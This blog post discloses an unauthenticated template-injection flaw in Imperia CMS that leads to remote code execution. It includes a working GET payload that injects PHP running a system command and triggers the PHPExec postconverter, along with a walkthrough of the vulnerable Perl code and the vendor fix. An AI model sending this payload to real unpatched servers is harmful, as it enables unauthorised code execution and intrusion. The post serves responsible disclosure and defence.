IMPERIA CMS SITEACTIVE TEMPLATE UNAUTHENTICATED SSTI REMOTE CODE EXECUTION (CVE-2026-110355)
Oct 20, 2026 · By Julien Ahrens
A Template Name to Rule Them All
Imperia CMS is an ISO 27001-certified enterprise content management system used by a variety of organizations including the Bavarian police. During a customer penetration test, we encountered an Imperia CMS instance and began investigating whether it could provide a path into the customer’s environment. Turned out: it is.
On affected CGI-enabled installations running version 11.7.2 or below, an unauthenticated request to /cgi-bin/site_active.pl can turn the TEMPLATE parameter into server-side template injection and, with PHP available, command execution.
TL;DR:
GET /cgi-bin/site_active.pl?TEMPLATE={SITE_ACTIVE}X')%25}<%3fphp+system('id')%3b%3f><!--postconvert%3aPHPExec()-->{%25%23%23y(' HTTP/1.1
Host: <target>
Let’s take this apart, and see how the postconverter turns page content into arbitrary code execution.
First: Select the SiteActive View Path
The CGI entry point accepts request parameters without authentication and passes them to Imperia::SiteActive->process when DEACTIVATE-SITEACTIVE-HTTP is unset or off:
# cgi-bin/site_active.pl:32-40
if (defined $imperia->common->{system_conf}->{'DEACTIVATE-SITEACTIVE-HTTP'}
&& $imperia->common->{system_conf}->{'DEACTIVATE-SITEACTIVE-HTTP'} =~ m{1|Y|ON}xmsi) {
warn "Warning: SiteActive is deactivated by the system variable "
. "DEACTIVATE-SITEACTIVE-HTTP.\n";
exit;
}
my %form = %{$imperia->common->{params}};
my $result = $siteActive->process (\%form);
The request sanitizer removes leading slashes, the configured CGI-BIN path, ../, and #. It leaves the quote, parentheses, braces, percent sign, and angle brackets needed by the payload untouched:
# Imperia/SiteActive.pm:146-153
my %secureForm;
if ($imperia->inHTTPRequest) {
while (my ($key, $value) = each %$form) {
$key =~ s!^/|$system_conf->{'CGI-BIN'}|\.\./!!g;
$key =~ tr/\#//d;
$value =~ s!^/|$system_conf->{'CGI-BIN'}|\.\./!!g;
$value =~ tr/\#//d;
$secureForm{$key} = $value;
}
}
This is why the payload starts with {SITE_ACTIVE}. SiteActive removes that prefix, selects its view directory, and sets in_docroot to 0. This actually bypasses the is_safe_docname check which only kicks in when in_docroot is set to 1:
# Imperia/SiteActive.pm:165-198
my $template_file = $secureForm{'TEMPLATE'};
...
} elsif ($template_file =~ s/^\{SITE[-_]ACTIVE}//) {
$basepath = $system_conf->{'SITE-DIR'} . '/active/default';
$in_docroot = 0;
$is_view_template = 1;
} else {
$basepath = $system_conf->{'DOCUMENT-ROOT'};
$in_docroot = 1;
}
my $absTemplate = "$basepath/$template_file";
if ($in_docroot && ! -e $absTemplate ) {
warn "Error : Template file $absTemplate not found.\n";
return;
}
if ($in_docroot) {
unless (is_safe_docname ($template_file => '')) {
warn "Error: Tainted template $template_file.";
return;
}
}
Since the remaining payload has no slash, the later is_inside path check does not stop it either. SiteActive then passes the filename to the view parser:
# Imperia/SiteActive.pm:250-258
unless (is_inside "$basepath/$template_file", $secure_cage) {
warn "Error: Tainted template $basepath/$template_file.";
return;
}
push @view_dirs, $basepath;
$parser->setDirectories(@view_dirs);
$parser->unshiftImportRealm('SiteActive');
my $view = $parser->parse($template_file);
Next: Escape the Generated Include
The view parser does not open the supplied name directly, which wouldn’t work - obviously. It first inserts the filename into a single-quoted template include directive:
# Imperia/View/Parser.pm:411-414
unless (ref $what) {
# Filename. Turn it into a template.
my $code = qq[{\% ##include ('$what')\%}];
$what = \$code;
}
Once SiteActive has removed {SITE_ACTIVE}, the parser inserts the rest of the payload where $what appears above. X')%} completes the generated include as {% ##include ('X')%}. That puts the PHP code and the postconvert comment outside the include, where they become page content.
The parser still appends its own ')%} after the supplied value. The payload ends with {%##y(' to take up those characters as a second directive. SiteActive’s sanitizer has already removed the two attacker-supplied # characters, so the generated template source has this overall shape:
{% ##include ('X')%}<?php system('id');?><!--postconvert:PHPExec()-->{%y('')%}
The inserted PHP is page content at this point. The next stage makes it executable.
Pwnage: Turn Page Content Into a Converter Job
After rendering, SiteActive runs the conversion pipeline on $page:
# Imperia/SiteActive.pm:294-298
my $virt_template = Imperia::Template->new(
dynamic => $dynamic, data => '');
Imperia::Template::Convert->new()->convert(
\$page, $params, $virt_template);
Imperia::Template::Convert scans the page for <!--postconvert:PLUGIN(args)--> comments, turns them into jobs, and dispatches each by plugin name. That is the job of <!--postconvert:PHPExec()--> immediately after the injected PHP:
# Imperia/Template/Convert.pm:25-27,40-50
my $tag = $params->{converttag};
$tag = 'postconvert' unless $tag;
$$dataref =~ s/<!--$tag(?::([:\w]+)\s*(?:\(([^>]*)\)|)\s*)?-->/&addJob($self,$1,$2)/eg;
...
foreach my $job ( @{$self->{JOBS}} ) {
my ($plugin, $string) = @{$job};
...
my $dynamic = $self->{dispatcher}->create($plugin, 'new', { params => $params,
templates => $template })
or die $self->{dispatcher}->errorSuck;
$dynamic->try('convert', $dataref, $string)
or die $dynamic->errorSuck;
}
Dynamic/Convert/PHPExec.pm then opens a pipe to the configured PHP command, which processes the injected PHP in the page:
# Dynamic/Convert/PHPExec.pm:101-107
my $end_of_headers;
local *CMD;
unless (open CMD, "$cmd |") {
warn "cannot execute $cmd: $!";
die "cannot execute $cmd: $!\n";
}
That’s ultimately how code is executed:

Fix
The vendor addressed the reported vulnerability in Imperia CMS 11.8.0
. According to the vendor, /cgi-bin/site_active.pl is exposed only on CGI-enabled installations where SiteActive HTTP access is enabled. This payload also requires an available PHP binary for PHPExec. Both conditions do not seem to be unusual.
Overall, the team behind imperia CMS was great to work with throughout the disclosure process and responded quickly with a fix, and even provided a test instance so that we could verify the finding. Great job!